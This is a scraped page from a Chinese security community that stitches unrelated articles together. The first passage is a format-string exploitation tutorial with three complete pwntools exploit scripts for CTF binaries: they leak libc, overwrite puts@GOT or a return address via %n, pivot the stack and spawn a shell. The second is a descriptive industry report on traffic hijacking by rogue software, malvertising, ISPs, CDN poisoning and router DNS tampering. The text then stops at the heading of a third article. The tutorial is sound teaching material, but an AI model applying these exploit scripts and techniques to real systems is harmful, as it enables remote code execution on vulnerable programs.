%n是通过格式化字符串漏洞改变程序流程的关键方式，而其他格式化字符串参数可用于读取信息或配合%n写数据。
**4、有binary且格式化字符串在栈中**
由于格式化字符串就保存在栈中，可以比较方便地利用%n来写入数据以修改控制流，以下分别给出32bit环境下和64bit环境下的例子。
**4.1 CCTF-pwn3**
本题只有NX一个安全措施，且为32位程序。
通过IDA逆向及初步调试，可以知道以下两点。
用户名是“sysbdmin”字符串中每个字母的ascii码减1，即rxraclhm；
在打印（即get功能，sub_080487F6函数）put（本程序功能，不是libc的puts）上去的文件内容时存在格式化字符串漏洞，且格式化字符串保存在栈中，偏移为7。
主要利用思路就是先通过格式化字符串漏洞泄露出libc版本，从而得到system函数调用地址；然后将该地址写到puts函数GOT表项中，由于程序dir功能会调用puts，且调用参数是用户可控的，故当我们以“/bin/sh”作为参数调用puts（也就是dir功能）时，其实就是以“/bin/sh”为参数调用system，也就实现了getshell。
接下来，简要介绍一下具体的利用过程。
首先，需要通过格式化字符串漏洞泄漏libc地址信息，间接得到libc版本。
上图是sub_080487F6函数中存在格式化字符串漏洞的printf调用前的状况。左下角数据区的红框表明了触发脆弱性的过程，即要先put上去一个文件名和对应的文件内容，然后通过get功能触发脆弱性（再次触发漏洞也要经历这个过程）。而右下角栈区的紫色框是偏移7，保存着我们输入的内容。如果我们输入的内容是puts函数的GOT地址，则通过%s参数就能利用漏洞打印出GOT表项中保存的puts函数的实际调用地址，之前puts函数已被程序调用多次了。这样，我们就可以通过puts函数实际地址的后12bit来查找libc-database，从而获得具体的libc库版本，以及对应的system的实际调用地址，具体方式我放到第三个例子中来讲，大家也可以先跳过去看。
然后，我们要将system的实际调用地址覆写到puts的GOT处，这就要用到%n参数了。假设system函数的地址为0xb7553d00，那么我们可以1个字节1个字节地覆写，以防止一次print字符太多而导致程序崩溃。以上面地址为例，三次覆写的payload是这样的，0xb7不用覆写，与puts一样。
payload = p32(putsGOT)+"%"+str(256-4)+"x%7$hhn"
payload = p32(putsGOT+1)+"%"+str(((systemAddress&0x0000FF00)>>8)-4)+"x%7$hhn"
payload = p32(putsGOT+2)+"%"+str(((systemAddress&0x00FF0000)>>16)-4)+"x%7$hhn"
比较特殊的是第一次覆写，要写入的是0x00，我们打印256（0x100）字节的话，正好实现了0x00的写入。而后面两次覆写只需要注意将puts函数的GOT地址加1就可以实现覆写一字节了。
最后，我们通过调用dir功能来实现system的间接调用。需要注意的是，dir功能是利用puts函数来打印已输入的所有文件名字符串拼接后的结果。如果想实现system(“/bin/sh”)，就需要让前几次输入的文件名拼接之和正好是“/bin/sh”。具体漏洞利用代码如下。
from pwn import *
import binascii
def put(name, content):
p.sendline("put")
print p.recvuntil(":")
p.sendline(name)
print p.recvuntil(":")
p.sendline(content)
print p.recvuntil(">")
def get(name):
p.sendline("get")
print p.recvuntil(":")
p.sendline(name)
data = p.recvuntil(">")
print hexdump(data)
return data
p = process("./pwn3")
elf = ELF("./pwn3")
putsGOT = elf.got['puts']
mallocGOT = elf.got['malloc']
print "----------1. leak address----------"
print p.recvuntil(":")
p.sendline("rxraclhm")
print p.recvuntil(">")
put("/sh", p32(putsGOT)+".%7$s")
data = get("/sh")
putsAddress = binascii.hexlify(data[5:9][::-1])
systemOffset = 0x3ad00 # 这是我本地libc的偏移
putsOffset = 0x61ce0
binshOffset = 0x15c7e8
systemAddress = int(putsAddress,16)-putsOffset+systemOffset
binshAddress = int(putsAddress,16)-putsOffset+binshOffset
print "----------2. point puts@got to systemAddress----------"
payload = p32(putsGOT)+"%"+str(256-4)+"x%7$hhn"
put("n", payload)
get("n")
payload = p32(putsGOT+1)+"%"+str(((systemAddress&0x0000FF00)>>8)-4)+"x%7$hhn"
put("i", payload)
get("i")
payload = p32(putsGOT+2)+"%"+str(((systemAddress&0x00FF0000)>>16)-4)+"x%7$hhn"
put("/b", payload) #四次put的文件名拼接后正好是“/bin/sh”。
get("/b")
p.sendline("dir")
p.interactive()
**4.2 三个白帽-来PWN我一下好吗**
本题应该是有多个漏洞多种解法的，利用格式化字符串只是其中一种。程序为64位，在64位下，函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9寄存器中（也就是说，若使用”x$”，当1<=x<=6时，指向的应该依次是上述这6个寄存器中保存的数值），而从第7个参数开始，依然会保存在栈中。故若使用”x$”，则从x=7开始，我们就可以指向栈中数据了。
通过IDA逆向出来的源代码和动态调试，我们知道包含格式化字符串漏洞的脆弱点在0x400B07函数处，那么先来确定可控输入的偏移位置。
通过%$x测试几次即可知道，输入的用户名偏移是8。有了这个基准位置，就可以考虑往栈上写入数据了，接下来的问题就变成了两件事，即写什么和怎么写。
写什么比较好解决。通过IDA逆向的交叉引用功能，我们在0x4008a6处发现了一段调用system函数的现成getshell代码。这样的话，我们需要做的就是把控制流转向0x4008a6。
下面要解决怎么写的问题了。如下图所示，绿框中的是输入的用户名字符串，其偏移位置是8，则偏移7（第一个红框）处是当前函数0x400b07的返回地址，而偏移15（第二个红框）处是当前函数的上层函数0x400d2b的返回地址。
我们希望将第一个红框中的0x400d74修改为0x4008a6，这就需要用到%n。在0x400B07函数中，我们可控的输出有两次，分别是输出用户名和输出密码，分别对应了从8-12这5个偏移位置。其中，偏移8-10对应用户名，10-12对应密码，而偏移10由用户名和密码共享，各占4个字节。
对于用户名，输入上图中第一个红框所对应的栈内地址，图中是0x7ffc41428068，但由于每次运行时栈内地址都会发生变化，故需动态获取。
对于密码，输入“%2214x%8$hn”，其中，2214是0x8a6的10进制，而%8$hn表示将前面输出的字符数（即2214）写入偏移8处储存的栈地址所指向空间的低两字节处，即修改0x0d74为0x08a6；若用n，则%2214x需改为%4196518x，即需要输出4196518个字符，开销太大，特别是在远程攻击时，很可能导致连接断掉。
分析到这里，利用代码的流程就清晰了，需要进行三次输入。第一次输入用来获取栈地址，我们通过用户名让printf输出偏移6处保存的栈地址，该栈地址与偏移7所在的栈地址的差值是固定的，即0x38。第二次输入时，我们将用户名设置为偏移7所在的栈地址（即上一步中，减去0x38得到的那个值），将密码设置为“%2214x%8$hn”，即可实现对偏移8处所保存栈地址指向的空间的低两字节的修改，完整利用代码如下。
from pwn import *
p = process("./pwnme_k0")
print "-----get stack address-----"
print p.recvuntil("username(max lenth:20): n")
p.send("abcd.%6$lx")
print p.recvline()
p.sendline("1234")
print p.recvuntil(">")
p.sendline("1")
tmpstackaddress = p.recvline()[:-5][5:]
stackaddress = int(tmpstackaddress,16) - 0x38
print "-----insert formatstring-----"
print p.recvuntil(">")
p.sendline("2")
print p.recvline()
p.sendline(p64(stackaddress))
print p.readline()
p.sendline("%2214x%8$hn")
print p.recvuntil(">")
print "-----exploit-----"
p.sendline("1")
p.interactive()
**5、有binary且格式化字符串不在栈中**
由于格式化字符串是放在堆上的，不能像前文在栈中保存那样直接修改函数返回地址，只能想办法构造一个跳板来实现利用。
**5.1 CSAW2015-contacts**
本题有nx和canary两个安全措施，栈上不可执行代码。
通过查看IDA逆向出的代码，可知sub_8048BD1是具体的脆弱函数（如上图所示，sub_8048C29是其上层函数），其最后一个printf在打印description时存在格式化字符串漏洞，我们这里调试确认一下。
如上图所示，当创建一个新帐户，并为description赋值“aaaa.%1$x.%2$x”时，程序打印出了栈中的内容，说明确实存在格式化字符串漏洞；且偏移11处（上图堆栈视图的第二个红框）指向了保存在堆中的description字段内容，而偏移31处指向了整个程序的main函数在返回“__libc_start_main”函数时的地址。当然，这肯定不是一次就能知道的，我也是在多次调试后才整理出来，在这里把途径简要描述一下。
从上面的调试可知以下几点：
题目没提供libc库文件也没直接将getshell功能的函数编译进去，那我们只能自己想办法获得正确的libc库文件，好在我们有返回“__libc_start_main”函数时的地址。
格式化字符串是放在堆上的，不能像栈中保存那样直接修改函数返回地址，只能想办法构造一个跳板。
**1、确定libc库内地址**
首先，我们来解决第一个问题。
之所以想获得libc库文件，是因为栈不可执行，所以希望调用system来获得shell。
niklasb的libc-database可以根据main函数返回__libc_start_main函数的返回地址的后12bit来确定libc版本，需要下载这个软件并运行get文件来获得最新的libc-symbol库。libc-database的原理就是遍历db文件夹下所有libc文件的symbol并比对最后12bit来确定libc版本。除了所有libc库函数的调用地址外，还特别加入了__libc_start_main_ret和“/bin/sh”字符串地址。我这里得到的“__libc_start_main_ret”的后12bit是70e，如上图所示。
root@kali:~/Desktop/libc-database-master# ./find __libc_start_main_ret 70e
archive-glibc (id libc6-i386_2.21-0ubuntu5_amd64)
运行如上命令，得到libc版本为2.21（这是我本地的libc版本），从而确定了system和“/bin/sh”字符串的偏移分别是0x3ad00和0x15c7e8。可以通过
./dump libc6-i386_2.21-0ubuntu5_amd64
来获得该libc文件的常见偏移，如system、/bin/sh等。
**2、构造payload**
此时，根据已知信息，可以考虑在栈上布置如下代码。
payload = %11$x+p32(system)+‘AAAA’+p32(binsh)
再次创建contacts记录，在description字段输入payload。其中，%11$x是用来泄漏该description保存地址的，为什么是11前面讲过了；而后面的部分与栈溢出时布置参数的方式很像，一会儿我们就通过堆栈互换，将esp指向这里，从而调用system。其实，%11$x也可以放到p32(binsh)后面，但因为我这里的system调用地址的最后1字节是”x00”，如果将%11$x放到最后，则printf由于截断就不会打印出description保存地址了。
此外，由于此时我们已经录入两个contact，故在利用程序的display功能打印数据时要考虑这个因素。
**3、利用跳板执行堆上的payload**
堆上的payload已经安排好了，但如何才能执行到呢？
这里就要%$n出场了，利用它将payload地址写到栈上，从而实现堆栈互换。上图是存在格式化字符串漏洞的printf代码即将运行前的现场。其中，右下角栈视图红色框中是偏移6的位置，指向了下面紫色框，而这个紫色框是上层函数的ebp，本来指向的是再上层函数（也就是main函数）的ebp，但我们希望让其指向堆中的payload。这样，当紫色框中的地址被载入ebp时，也就是main程序返回时，就可以通过leave指令实现堆栈互换，从而执行堆中的payload了。这里有点绕，偏移6处改写的是紫色框中的地址，而这个地址真正用到时，是main函数返回时，也就是我们选择contact的功能5时。
leave指令相当于
mov esp,ebp
pop ebp
这两条指令，也就是将esp指向ebp的位置。经过调试可知，这里的leave指令是将esp指向了（ebp+4）的位置，因此在第三次创建contact记录时，我们插入如下description：
%(int(payload地址-4,16))x%6$n
其表示，将打印出来的字符数，即int(payload地址-4,16)写入偏移6指向的ebp处，即上图中的紫色框处（将原先指向上层函数的地址改成指向堆中payload地址）。这样，当我们接下来选择功能5退出contact程序时，在执行leave指令时，会实现堆栈互换，从而将esp指向了堆中的payload，结果如下图所示。当执行ret指令时，要返回的地址，也就是esp指向的地址就是我们布置的system的调用地址。
具体代码如下：
p = process('./contacts')
print "----------1 fmtstr : leak address----------"
print p.recvuntil(">>> ")
p.sendline("1")
print p.recvuntil("Name: ")
p.sendline("aaaaaa")
print p.recvuntil("No: ")
p.sendline("111111")
print p.recvuntil("description: ")
p.sendline("1000")
print p.readline()
p.sendline("pppp.%31$x")
print p.recvuntil(">>> ")
p.sendline("4")
description = p.recvuntil(">>> ").split('Description:')[1].split('Menu')[0].strip()
systemOffset = 0x3ad00
libcretOffset = 0x1870e
binshOffset = 0x15c7e8
libcretAddress = int(description.split('.')[1], 16)
binshAddress = libcretAddress - (libcretOffset - binshOffset)
systemAddress = libcretAddress + (systemOffset - libcretOffset)
print "----------2 fmtstr : insert payload----------"
payload = "xxxxx.%11$x" + p32(systemAddress) + "AAAA" + p32(binshAddress)
p.sendline("1")
print p.recvuntil("Name: ")
p.sendline("bbbbbb")
print p.recvuntil("No: ")
p.sendline("222222")
print p.recvuntil("description: ")
p.sendline("1000")
print p.readline()
p.sendline(payload)
print p.recvuntil(">>> ")
p.sendline("4")
print p.recvuntil("xxxxx.")
description = p.recvuntil(">>> ")
payloadAddress = description[0:7]
print "----------3 fmtstr : exploit----------"
p.sendline("1")
print p.recvuntil("Name: ")
p.sendline("cccccc")
print p.recvuntil("No: ")
p.sendline("333333")
print p.recvuntil("description: ")
p.sendline("1000")
print p.readline()
tmp = int(payloadAddress, 16) - 4 + 11
p.sendline("%" + str(tmp) + "x%6$n")
print p.recvuntil(">>> ")
p.sendline("4")
print p.recvuntil(">>> ")
p.sendline("5")
p.interactive()
**参考文章**
[](http://www.cnblogs.com/Ox9A82/)
[http://www.cnblogs.com/Ox9A82/](http://www.cnblogs.com/Ox9A82/)
[http://www.tuicool.com/articles/iq6Jfe](http://www.tuicool.com/articles/iq6Jfe)
[http://matshao.com/2016/07/13/%E4%B8%89%E4%B8%AA%E7%99%BD%E5%B8%BD-%E6%9D%A5-PWN-%E6%88%91%E4%B8%80%E4%B8%8B%E5%A5%BD%E5%90%97%E7%AC%AC%E4%BA%8C%E6%9C%9F/](http://matshao.com/2016/07/13/%E4%B8%89%E4%B8%AA%E7%99%BD%E5%B8%BD-%E6%9D%A5-PWN-%E6%88%91%E4%B8%80%E4%B8%8B%E5%A5%BD%E5%90%97%E7%AC%AC%E4%BA%8C%E6%9C%9F/)
**附件**
[](https://pan.baidu.com/s/1pLM2Pfl "https://pan.baidu.com/s/1pLM2Pfl")
[https://pan.baidu.com/s/1pLM2Pfl](https://pan.baidu.com/s/1pLM2Pfl
"https://pan.baidu.com/s/1pLM2Pfl") | 社区文章 |
本文来源：https://zhuanlan.zhihu.com/p/24828706
作者： **猎豹渔村安全局**
> 混乱不是深渊,混乱是阶梯——《权力的游戏》
在鼠标点击的一刹那，流量在用户系统中流过层层节点，在路由的指引下奔向远方的服务器。这段路程中，短兵相接的战斗往往是最激烈的，在所有流量可能路过的节点，往往都潜伏着劫持者，他们劫持流量的手段也层出不穷，从主页配置篡改、hosts劫持、进程Hook、启动劫持、LSP注入、浏览器插件劫持、HTTP代理过滤、内核数据包劫持、bootkit等等不断花样翻新。或许从你按下开机按钮的一瞬间，流量劫持的故事就已经开始了。
## **一 、本地流量劫持**
1、道貌岸然的流氓软件
“网址导航”堪称国内互联网最独特的一道风景线，从hao123开始发扬光大，各大导航站开始成为互联网流量最主要的一个入口点，伴随着的是围绕导航主页链接的小尾巴(推广ID)，展开的一场场惊心动魄的攻防狙击战。一方面国内安全软件对传统IE浏览器的主页防护越来越严密，
另一方面用户体验更好的第三方浏览器开始占据主流地位，国内的流氓木马为了谋求导航量也开始“另辟蹊径”。
下面讲到的案例是我们曾经捕获到的一批导航主页劫持样本，历史活跃期最早可以追溯到2014年，主要通过多类流氓软件捆绑传播，其劫持功能模块通过联网更新获取，经过多层的内存解密后再动态加载。其中的主页劫持插件模块通过修改浏览器配置文件实现主页篡改，对国内外的chrome、火狐、safari、傲游、qq、360、搜狗等20余款主流浏览器做到了全部覆盖。实现这些功能显然需要对这批浏览器的配置文件格式和加密算法做逆向分析，在样本分析过程中我们甚至发现其利用某漏洞绕过了其中2款浏览器的主页保护功能，流氓作者可谓非常“走心”，可惜是剑走偏锋。
_[1] 某软件下拉加载主页劫持插件_
上图就是我们在其中一款软件中抓取到的主页劫持模块文件和更新数据包，可能你对数据包里这个域名不是很熟悉，但是提到“音速启动”这款软件相信安全圈内很多人都会有所了解，当年各大安全论坛的工具包基本上都是用它来管理配置的，伴随了很多像本文作者这样的三流小黑客的学习成长，所以分析这个样本过程中还是有很多感触的，当然这些木马劫持行为可能和原作者没有太大关系，听说这款软件在停止更新几年后卖给了上海某科技公司，其旗下多款软件产品都曾被发现过流氓劫持行为，感兴趣的读者可以自行百度，这里不再进行更多的披露。
正如前面的案例，一部分曾经的老牌软件开始慢慢变质，离用户渐行渐远；另一方面，随着最近几年国内安全环境的转变，之前流行的盗号、下载者、远控等传统木马日渐式微，另外一大批披着正规软件外衣的流氓也开始兴起，他们的运作方式有以下几个特点：
1. **冒充正规软件** ，但实际功能单一简陋，有些甚至是空壳软件，常见的诸如某某日历、天气预报、色播、输入法等五花八门的伪装形式，企图借助这些正常功能的外衣逃避安全软件的拦截，实现常驻用户系统的目的。
2. **背后行为与木马病毒无异** ，其目的还是为了获取推广流量，如主页锁定，网页劫持、广告弹窗、流量暗刷、静默安装等等。而且其中很大一部分流氓软件的恶意模块和配置都通过云端进行下拉控制，可以做到分时段、分地区、分场景进行投放触发。 _[2] 某流氓软件的云端控制_
3. **变种速度比较快** ，屡杀不止，被安全软件拦截清理后很快就会更换数字签名，甚至换个软件外壳包装后卷土重来。这些数字签名注册的企业信息很多都是流氓软件作者从其他渠道专门收购的。 _[3]某流氓软件1个月内多次更换数字签名证书逃避安全软件查杀_
下面可以通过几个典型案例了解下这些流氓软件进行流量劫持的技术手法：
1）
通过浏览器插件进行流量劫持的QTV系列变种，该样本针对IE浏览器通过BHO插件在用户网页中注入JS脚本，针对chrome内核的浏览器利用漏洞绕过了部分浏览器插件的正常安装步骤，通过篡改配置文件添加浏览器插件实现动态劫持。
_[4]被静默安装到浏览器中的插件模块，通过JS注入劫持网页_
通过注入JS脚本来劫持用户网页浏览的技术优点也很明显，一方面注入的云端JS脚本比较灵活，可以随时在云端控制修改劫持行为，另一方面对于普通用户来说非常隐蔽，难以察觉。被注入用户网页的JS脚本的对网页浏览中大部分的推广流量都进行了劫持，如下图：
_[5] 在网页中注入JS劫持推广流量_
2）
下面这个“高清影视流氓病毒”案例是去年曾深入跟踪的一个流氓病毒传播团伙，该类样本主要伪装成播放器类的流氓软件进行传播，技术特点如下图所示，大部分劫持模块都是驱动文件，通过动态内存加载到系统内核，实现浏览器劫持、静默推广等病毒行为。
_[6] “高清影视”木马劫持流程简图_
从木马后台服务器取证的文件来看，该样本短期内传播量非常大，单日高峰达到20w+，一周累计感染用户超过100万，安装统计数据库每天的备份文件都超过1G。
_[7] “高清影视”木马后台服务器取证_
## 2\. 持续活跃的广告弹窗挂马
提到流量劫持，不得不说到近2年时间内保持高度活跃的广告弹窗挂马攻击案例，原本的广告流量被注入了网页木马，以广告弹窗等形式在客户端触发，这属于一种变相的流量劫持，更确切的说应该称之为“流量污染”或“流量投毒”，这里我们将其归类为本地劫持。
近期挂马利用的漏洞多为IE神洞(cve-2014-6332)和HackingTeam泄漏的多个Flash漏洞。通过网页挂马，流量劫持者将非常廉价的广告弹窗流量转化成了更高价格的安装量，常见的CPM、CPV等形式的广告流量每1000用户展示只有几元钱的成本，假设网页挂马的成功率有5%，这意味着劫持者获取到20个用户的安装量，平均每个用户静默安装5款软件，劫持者的收益保守估计有50元，那么“广告流量投毒”的利润率就近10倍。这应该就是近两年网页挂马事件频发背后的最大源动力。
_[8] 网页木马经常使用的IE神洞(CVE-2014-6332)_
_[9] 网页木马利用IE浏览器的res协议检测国内主流安全软件_
这些广告流量大多来自于软件弹窗、色情站点、垃圾站群、运营商劫持量等等，其中甚至不乏很多知名软件的广告流量，从我们的监测数据中发现包括酷狗音乐、搜狐影音、电信管家、暴风影音、百度影音、皮皮影音等多家知名软件厂商的广告流量被曾被劫持挂马。正是因为如此巨大的流量基数，所以一旦发生挂马事件，受到安全威胁的用户数量都是非常巨大的。
_[10] 对利用客户端弹窗挂马的某病毒服务器取证发现的flash漏洞exp_
据了解很多软件厂商对自身广告流量的管理监控都存在漏洞，有些甚至经过了多层代理分包，又缺乏统一有力的安全审核机制，导致被插入网页木马的“染毒流量”被大批推送到客户端，最终导致用户系统感染病毒。在样本溯源过程中，我们甚至在某知名音乐软件中发现一个专门用于暗刷广告流量的子模块。用户越多责任越大，且行且珍惜。
_[11] 2015年某次挂马事件涉及的弹窗客户端进程列表_
_[12] 对2015年度最活跃的某挂马服务器的数据库取证(高峰期每小时5k+的安装量)_
## **二、网络劫持**
流量劫持的故事继续发展，当一个网络数据包成功躲开了本地主机系统上的层层围剿，离开用户主机穿行于各个路由网关节点，又开启了一段新的冒险之旅。在用户主机和远程服务器之间的道路同样是埋伏重重，数据包可能被指引向错误的终点(DNS劫持)，也可能被半路冒名顶替(302重定向)，或者直接被篡改(HTTP注入)。
## 1\. 运营商劫持
提起网络劫持，往往第一个想起的就是运营商劫持，可能每一个上网的用户或多或少都曾经遇到过，电脑系统或手机用安全软件扫描没有任何异常，但是打开正常网页总是莫名其妙弹出广告或者跳转到其他网站。对普通用户来说这样的行为可以说深恶痛绝，企业和正规网站同样也深受其害，正常业务和企业形象都会受到影响，在15年年底，腾讯、小米、微博等6家互联网公司共同发表了一篇抵制运营商流量劫持的联合声明。
在我们日常的安全运营过程中也经常接到疑似运营商劫持的用户反馈，下面讲述一个非常典型的http劫持跳转案例，用户反馈打开猎豹浏览器首页点击下载就会弹出广告页面，经过我们的检测发现用户的网络被运营商劫持，打开网页的数据包中被注入了广告劫持代码。类似的案例还有很多，除了明面上的广告弹窗，还有后台静默的流量暗刷。对于普通用户来说，可能只有运营商客服投诉或工信部投诉才能让这些劫持行为稍有收敛。
_[13] 用户打开网页的数据包被注入广告代码_
_[14] 用户任意点击网页触发广告弹窗跳转到“6间房”推广页面_
这个案例劫持代码中的域名“abc.ss229.com”归属于推广广告联盟，在安全论坛和微博已有多次用户反馈，其官网号称日均PV达到2.5亿。其实运营商劫持流量的买卖其实已是圈内半公开的秘密，结合对用户上网习惯的分析，可以实现对不同地区、不同群体用户的精准定制化广告推送，感兴趣的读者可以自行搜索相关的QQ群。
_[15] 公开化的运营商劫持流量买卖_
缺乏安全保护的DNS协议和明文传输的HTTP流量非常容易遭到劫持，而运营商占据网络流量的必经之路，在广告劫持技术上具有先天优势，比如常见的分光镜像技术，对于普通用户和厂商来说对抗成本相对较高，另一方面国内主流的搜索引擎、导航站点、电商网站都已经开始积极拥抱更加安全的https协议，这无疑是非常可喜的转变。
_[16] 常用于运营商流量劫持的 _ **分光镜像技术**__
乌云平台上（目前一直在升级，恩
-_-||）也曾多次曝光运营商流量劫持的案例，例如曾经被用户举报的案例“下载小米商城被劫持到UC浏览器APP”，感谢万能的白帽子深入某运营商劫持平台系统为我们揭秘内幕。
_[17] 被曝光的某运营商apk下载分发劫持的管理后台_
以上种种，不得不让人想起“打劫圈”最富盛名的一句浑语，“此山是我开,此树是我栽,要想过此路,留下买路财”，“买网络送广告”已经成为网络运营商的标准套餐。这些劫持流量的买卖显然不仅仅是所谓的“个别内部员工违规操作”，还是那句话，用户越多责任越大，且行且珍惜。
## 2\. CDN缓存污染
CDN加速技术本质上是一种良性的DNS劫持，通过DNS引导将用户对服务器上的js、图片等不经常变化的静态资源的请求引导到最近的服务器上，从而加速网络访问。加速访问的良好用户体验使CDN加速被各大网站广泛使用，其中蕴含的惊人流量自然也成为流量劫持者的目标。
_[18] 打开正常网页后跳转到“色播”诱导页面_
去年我们曾多次接到用户反馈使用手机浏览器打开网页时经常被跳转到色情推广页面，经过抓包分析，发现是由于百度网盟CDN缓存服务器中的关键JS文件被污染注入广告代码，劫持代码根据user-agent头判断流量来源后针对PC、Android、iOS等平台进行分流弹窗，诱导用户安装“伪色播”病毒APP。
_[19] 抓包分析显示百度网盟的公共JS文件被注入广告代码_
_[20] 劫持代码根据访问来源平台的不同进行分流，推广“伪色播”病毒app_
百度网盟作为全国最大的广告联盟之一，每天的广告流量PV是都是以亿为单位的，其CDN缓存遭遇劫持产生的影响将非常广泛。通过分析我们确认全国只有个别地区的网络会遭遇此类劫持，我们也在第一时间将这个情况反馈给了友商方面，但造成缓存被劫持的原因没有得到最终反馈，是运营商中间劫持还是个别缓存服务器被入侵导致还不得而知，但是这个案例给我们的CDN服务的安全防护再一次给我们敲响警钟。
_[21] 通过流量劫持推广的“伪色播”病毒APP行为流程简图_
从这个案例中我们也可以看出，移动端“劫持流量”很重要的一个出口就是“伪色情”诱导，这些病毒app基本上都是通过短信暗扣、诱导支付、广告弹窗、流量暗刷以及推广安装等手段实现非法牟利。这条移动端的灰色产业链在近两年已经发展成熟，“色播”类样本也成为移动端中感染量最大的恶意app家族分类之一。
_[22] “伪色播”病毒APP进行诱导推广_
这些“伪色播”病毒APP安装以后除了各种广告推广行为外，还会在后台偷偷发送短信去定制多种运营商付费业务，并且对业务确认短信进行自动回复和屏蔽，防止用户察觉；有些还集成了第三方支付的SDK，以VIP充值等方式诱导用户付费，用户到头来没看到想要的“福利”不说，吃了黄连也只能是有苦难言。
_[23] 某“伪色播”病毒APP通过短信定制业务进行扣费的接口数据包_
_[24]病毒app自动回复并屏蔽业务短信，防止用户察觉_
以其中某个专门做“色播诱导”业务的广告联盟为例，其背后的推广渠道多达数百个，每年用于推广结算的财务流水超过5000w元。从其旗下的某款色播病毒APP的管理后台来看，短短半年内扣费订单数据超过100w条，平均每个用户扣费金额从6~20元不等，抛开其他的流氓推广收益，仅扣费这一项的半年收益总额就过百万，而这只是海量“伪色播”病毒样本中的一个，那整个产业链的暴利收益可想而知。
_[25] 某“伪色播”病毒APP的扣费统计后台_
_[26] 某“伪色播”病毒APP扣费通道的数据存储服务器_
## 3\. DNS劫持
路由器作为亿万用户网络接入的基础设备，其安全的重要性不言而喻。最近两年曝光的路由器漏洞、后门等案例比比皆是，主流路由器品牌基本上无一漏网。虽然部分厂商发布了修复补丁固件，但是普通用户很少会主动去更新升级路由器系统，所以路由器漏洞危害的持续性要远高于普通PC平台；另一方面，针对路由器的安全防护也一直是传统安全软件的空白点，用户路由器一旦中招往往无法察觉。
国内外针对路由器的攻击事件最近两年也非常频繁，我们目前发现的攻击方式主要分为两大类，一类是利用漏洞或后门获取路由器系统权限后种植僵尸木马，一般以ddos木马居多，还兼容路由器常见的arm、mips等嵌入式平台；另一类是获取路由器管理权限后篡改默认的DNS服务器设置，通过DNS劫持用户流量，一般用于广告刷量、钓鱼攻击等。
_[27] 兼容多平台的路由器DDOS木马样本_
下面这个案例是我们近期发现的一个非常典型的dns劫持案例，劫持者通过路由器漏洞劫持用户DNS，在用户网页中注入JS劫持代码，实现导航劫持、电商广告劫持、流量暗刷等。从劫持代码中还发现了针对D-Link、TP-Link、ZTE等品牌路由器的攻击代码，利用CSRF漏洞篡改路由器DNS设置。
_[28] 路由器DNS流量劫持案例简图_
_[29] 针对d-link、tp-link、zte等品牌路由器的攻击代码_
被篡改的恶意DNS会劫持常见导航站的静态资源域名，例如<http://s0.hao123img.com>、<http://s0.qhimg.com>等，劫持者会在网页引用的jquery库中注入JS代码，以实现后续的劫持行为。由于页面缓存的原因，通过JS缓存投毒还可以实现长期隐蔽劫持。
_[30] 常见的导航站点域名被劫持_
_[31] 网站引用的jquery库中被注入恶意代码_
被注入页面的劫持代码多用来进行广告暗刷和电商流量劫持，从发现的数十个劫持JS文件代码的历史变化中，可以看出作者一直在不断尝试测试改进不同的劫持方式。
_[32] 劫持代码进行各大电商广告的暗刷_
_[33] 在网页中注入CPS广告，跳转到自己的电商导流平台_
我们对劫持者的流量统计后台进行了简单的跟踪，从51la的数据统计来看，劫持流量还是非常惊人的，日均PV在200w左右，在2015年末的高峰期甚至达到800w左右，劫持者的暴利收益不难想象。
_[34] DNS流量劫持者使用的51啦统计后台_
最近两年DNS劫持活动非常频繁，恶意DNS数量增长也非常迅速，我们监测到的每年新增恶意DNS服务器就多达上百个。针对路由器的劫持攻击案例也不仅仅发生在国内，从蜜罐系统和小范围漏洞探测结果中，我们也捕获到了多起全球范围内的路由器DNS攻击案例。
_[35] DNS流量劫持者使用的51啦统计后台_
_[36] 在国外地区发现的一例路由器CSRF漏洞“全家桶”，被利用的攻击playload多达20多种_
下面的案例是2016年初我们的蜜罐系统捕获到一类针对路由器漏洞的扫描攻击，随后我们尝试进行溯源和影响评估，在对某邻国的部分活跃IP段进行小范围的扫描探测后，发现大批量的路由器被暴露在外网，其中存在漏洞的路由器有30%左右被篡改了DNS设置。
抛开劫持广告流量牟利不谈，如果要对一个国家或地区的网络进行大批量的渗透或破坏，以目前路由器的千疮百孔安全现状，无疑可以作为很适合的一个突破口，这并不是危言耸听。
如下图中漏洞路由器首选DNS被设置为劫持服务器IP，备选DNS服务器设为谷歌公共DNS(8.8.8.8)
_[37] 邻国某网段中大量存在漏洞的路由器被劫持DNS设置_
_[38] 各种存在漏洞的路由器被劫持DNS设置_
## 4\. 神秘劫持
以一个神秘的劫持案例作为故事的结尾，在工作中曾经陆续遇到过多次神秘样本，仿佛是隐藏在层层网络中的黑暗幽灵，不知道它从哪里来，也不知道它截获的信息最终流向哪里，留给我们的只有
_迷一般的背影_ 。
这批迷一样的样本已经默默存活了很久，我们捕获到早期变种可以追溯到12年左右。下面我们先把这个迷的开头补充下，这些样本绝大多数来自于某些可能被劫持的网络节点，请静静看图。
_[39] 某软件升级数据包正常状态与异常状态对比_
_[40] 某软件升级过程中的抓包数据_
我们在15年初的时候捕获到了其中一类样本的新变种，除了迷一样的传播方式，样本本身还有很多非常有意思的技术细节， _限于篇幅这里只能放1张内部分享的分析截图_
，虽然高清但是有码，同样老规矩静静看图（这里有很多值得YY的东西……）
_[41] 神秘样本技术分析简图_
## 【尾记】
流量圈的故事还有很多，劫持与反劫持的故事在很长时间内还将继续演绎下去。流量是很多互联网企业赖以生存的基础，通过优秀的产品去获得用户和流量是唯一的正途，用户的信任来之不易，且行且珍惜。文章到此暂告一段落，有感兴趣的地方欢迎留言讨论。
【引用】
[1] http://wooyun.org/bugs/wooyun-2010-0168329
* * *
**插一条硬广（^_^）：**
**本机构账号将持续关注和发布各类安全热点事件，欢迎大家关注我们哦！[猎豹渔村安全局 -知乎](https://www.zhihu.com/org/lie-bao-yu-cun-an-quan-ju/activities)**
**想查看更多过往的报告？可以点击下面哦 :-D**
**我们的微博：[渔村安全的微博](http://weibo.com/u/5619198113)**
**我们的微信公众号：[渔村安全](http://weixin.qq.com/r/RkhaQnjEtyXIrTwh9x1U)**
* * * | 社区文章 |
企业安全建设——安全防线框架建设
# 前言
